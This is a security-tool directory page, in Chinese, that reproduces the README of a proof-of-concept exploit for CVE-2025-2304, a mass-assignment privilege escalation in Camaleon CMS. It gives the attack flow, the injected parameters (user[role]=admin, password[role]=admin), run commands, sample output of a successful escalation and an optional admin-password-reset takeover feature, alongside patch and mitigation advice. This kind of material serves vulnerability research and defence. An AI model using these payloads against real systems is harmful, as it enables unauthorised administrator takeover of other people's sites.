Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-2304-POC — 针对 CVE-2025-2304 的概念验证 — Camaleon CMS 中严重(CVSS 9.4)的大规模赋值权限提升漏洞。 | Kitploit
工具/GitHubGitHub/d3vn0mi/cve-2025-2304-poc
权限提升Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubd3vn0mi/cve-2025-2304-poc

CVE-2025-2304-POC

针对 CVE-2025-2304 的概念验证 — Camaleon CMS 中严重(CVSS 9.4)的大规模赋值权限提升漏洞。

查看仓库
10334个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-2304 PoC - Camaleon CMS 权限提升

CVE CVSS Python License

针对 CVE-2025-2304 的概念验证(PoC)利用程序,这是 Camaleon CMS 中的一个严重批量赋值漏洞,允许低权限用户提升为管理员。

root@kitploit:~
    ██████╗ ██████╗ ██╗   ██╗███╗   ██╗ ██████╗ ███╗   ███╗██╗
    ██╔══██╗╚════██╗██║   ██║████╗  ██║██╔═████╗████╗ ████║██║
    ██║  ██║ █████╔╝██║   ██║██╔██╗ ██║██║██╔██║██╔████╔██║██║
    ██║  ██║ ╚═══██╗╚██╗ ██╔╝██║╚██╗██║████╔╝██║██║╚██╔╝██║██║
    ██████╔╝██████╔╝ ╚████╔╝ ██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║
    ╚═════╝ ╚═════╝   ╚═══╝  ╚═╝  ╚═══╝ ╚═════╝ ╚═╝     ╚═╝╚═╝

📋 目录

  • 概述
  • 漏洞详情
  • 功能特性
  • 安装
  • 使用方法
  • 示例
  • 受影响版本
  • 缓解措施
  • 免责声明
  • 参考资源
  • 作者

🔍 概述

CVE-2025-2304 是 Camaleon CMS 中的一个 严重批量赋值漏洞,存在于 UsersController 的 updated_ajax 方法中。该漏洞源于 Rails 中危险的 permit! 方法的使用,该方法允许所有参数未经任何过滤直接通过。

本 PoC 演示了具有低权限的已认证用户如何通过在密码更改操作期间注入未授权参数来提升为管理员角色。

CVSS 评分: 9.4(严重)

🐛 漏洞详情

根本原因

漏洞代码使用 params.require(:user).permit!,该代码 接收所有 用户提供的参数而不进行验证:

root@kitploit:~
def updated_ajax
  user_params = params.require(:user).permit!  # DANGEROUS!
  current_user.update(user_params)
end

利用方式

攻击者可以在合法的密码更改字段中注入额外参数,例如 user[role]=admin,导致应用程序将用户角色更新为管理员。

攻击流程:

  1. 以低权限用户身份(例如 "client" 角色)进行身份验证
  2. 向 /admin/users/{id}/updated_ajax 发送精心构造的 POST 请求
  3. 注入 user[role]=admin 参数
  4. 用户角色提升为管理员

✨ 功能特性

  • ✅ 安全测试:利用过程中保留用户密码
  • ✅ 多种载荷:测试 7 种以上不同的注入技术
  • ✅ 版本检测:自动检测易受攻击的 CMS 版本
  • ✅ 非破坏性选项:--no-password-field 标志用于最安全的测试
  • ✅ 代理支持:与 Burp Suite / ZAP 集成以便手动分析
  • ✅ 详细模式:调试时输出详细信息
  • ✅ 管理员接管:可选的管理员密码重置攻击
  • ✅ 彩色输出:成功/失败状态清晰显示

📦 安装

环境要求

  • Python 3.7+
  • pip(Python 包管理器)

克隆仓库

root@kitploit:~
git clone https://github.com/d3vhthnnni/cve-2025-2304-poc.git
cd cve-2025-2304-poc

安装依赖

root@kitploit:~
pip install -r requirements.txt

或者手动安装:

root@kitploit:~
pip install requests beautifulsoup4

🚀 使用方法

基本语法

root@kitploit:~
python3 cve-2025-2304-poc.py <target_url> -u <username> -p <password> [options]

命令行选项

root@kitploit:~
位置参数:
  target                目标 URL(例如 http://target.com)

必选参数:
  -u, --username        用于身份验证的现有用户名
  -p, --password        用户密码

可选参数:
  -h, --help            显示帮助信息并退出
  -v, --verbose         详细输出(显示所有请求)
  --proxy PROXY         用于流量检查的 HTTP 代理(例如 http://127.0.0.1:8080)
  --no-password-field   测试时不包含密码字段(最安全)
  --skip-admin-test     跳过破坏性的管理员密码重置测试

📚 示例

标准测试(推荐)

使用现有用户凭据进行测试,同时保留密码:

root@kitploit:~
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123

最安全测试(无密码字段)

在利用载荷中不包含密码字段的测试:

root@kitploit:~
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --no-password-field

使用 Burp Suite 代理

通过 Burp Suite 路由流量以便手动检查:

root@kitploit:~
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --proxy http://127.0.0.1:8080

详细模式

启用详细输出,显示所有请求和响应:

root@kitploit:~
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 -v

跳过破坏性测试

仅测试权限提升,跳过管理员密码重置:

root@kitploit:~
python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --skip-admin-test

📊 示例输出

root@kitploit:~
    ██████╗ ██████╗ ██╗   ██╗███╗   ██╗ ██████╗ ███╗   ███╗██╗
    ██╔══██╗╚════██╗██║   ██║████╗  ██║██╔═████╗████╗ ████║██║
    ██║  ██║ █████╔╝██║   ██║██╔██╗ ██║██║██╔██║██╔████╔██║██║
    ██║  ██║ ╚═══██╗╚██╗ ██╔╝██║╚██╗██║████╔╝██║██║╚██╔╝██║██║
    ██████╔╝██████╔╝ ╚████╔╝ ██║ ╚████║╚██████╔╝██║ ╚═╝ ██║██║
    ╚═════╝ ╚═════╝   ╚═══╝  ╚═╝  ╚═══╝ ╚═════╝ ╚═╝     ╚═╝╚═╝

============================================================
   CVE-2025-2304 - Camaleon CMS 权限提升 PoC
   批量赋值漏洞测试工具
   作者:d3vn0mi | GitHub: github.com/d3vhthnnni
============================================================

[*] 目标:http://target.com
[*] 用户名:testuser
[*] 密码:**********

[*] 以 testuser 身份登录...
[+] 登录成功

[*] 检查 CMS 版本...
[*] 检测到版本:2.9.0
[+] 版本存在漏洞(< 2.9.1)

============================================================
[*] 测试 CVE-2025-2304 批量赋值漏洞
============================================================

[*] 目标用户:testuser (ID: 7)
[*] 当前角色:Client (client)
[*] 密码保持不变

[1/7] 测试:AJAX 端点 - user[role]
    ✗ 失败
[2/7] 测试:AJAX 端点 - password[role]
============================================================
[+] 利用成功!
============================================================
[+] 权限提升:Client → Administrator
[+] 存在漏洞的端点:/admin/users/7/updated_ajax
[+] 有效的载荷:{'password[role]': 'admin'}
[+] 密码未更改:用户仍可正常登录
[+] CVE-2025-2304 已确认!

[✓] CVE-2025-2304 漏洞已确认

🎯 受影响版本

版本状态
< 2.9.1❌ 存在漏洞
≥ 2.9.1✅ 已修复

具体存在漏洞的版本:

  • Camaleon CMS 2.9.0
  • Camaleon CMS 2.8.x 及更早版本

🛡️ 缓解措施

立即行动

  1. 升级到 2.9.1 或更高版本

    root@kitploit:~
    gem update camaleon_cms
    
  2. 审计用户账户

    • 检查意外的权限变更
    • 审查用户角色修改日志
    • 查找对 /users/*/updated_ajax 的可疑 POST 请求
  3. 强制密码重置(如果已受损)

    • 重置所有特权账户的密码
    • 使现有会话失效

长期预防

安全代码模式:

将危险的 permit! 替换为显式白名单:

root@kitploit:~
# 之前(存在漏洞)
def updated_ajax
  user_params = params.require(:user).permit!
  current_user.update(user_params)
end

# 之后(安全)
def updated_ajax
  user_params = params.require(:user).permit(:password, :password_confirmation)
  current_user.update(user_params)
end

其他安全措施:

  • 在整个应用程序中实施强参数过滤
  • 为关键操作添加角色变更审批工作流
  • 启用权限变更的审计日志
  • 遵循最小权限原则
  • 通过 WAF 规则监控批量赋值尝试

⚠️ 免责声明

本工具仅供 教育和授权安全测试目的 使用。

法律声明:

  • 仅对您拥有或已获得明确书面测试许可的系统使用本工具
  • 未经授权访问计算机系统是违法的,适用的法律包括:
    • 美国的《计算机欺诈和滥用法》(CFAA)
    • 英国的《计算机滥用法》(1990 年)
    • 其他司法管辖区的类似法律
  • 作者对因使用本工具造成的滥用或损害 不承担任何责任
  • 用户应对其行为承担全部责任

道德使用:

  • 在测试前获得适当授权
  • 遵循负责任披露实践
  • 在已批准范围的渗透测试中按约定使用
  • 仅用于受控实验室环境中的教育目的

📖 参考资源

  • CVE 条目: CVE-2025-2304
  • GHSA 公告: GHSA-rp28-mvq3-wf8j
  • 厂商公告: Tenable 安全研究 TRA-2025-09
  • 补丁提交: GitHub Commit 179fd6b
  • 发布说明: Camaleon CMS 2.9.1

👤 作者

d3vn0mi

  • GitHub:@d3vn0mi
  • 个人网站:@d3vn0mi
  • 个人博客:@d3vn0mi

📝 许可协议

本项目采用 MIT 许可证 - 详情请参见 LICENSE 文件。

🤝 贡献

欢迎提交贡献、问题报告和功能请求!

请随时查看 issues 页面。

⭐ 表示支持

如果此项目对您有帮助,请给一个 ⭐!


注意: 本仓库仅用于安全研究和教育目的。请始终实践负责任披露,并在测试前获得适当授权。

下载工具